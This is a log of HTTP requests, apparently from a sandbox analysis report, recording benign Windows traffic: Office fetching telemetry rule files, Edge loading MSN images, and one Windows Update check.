Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=25ACFbnVffSv6Ou&MD=+cM3Bzhf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
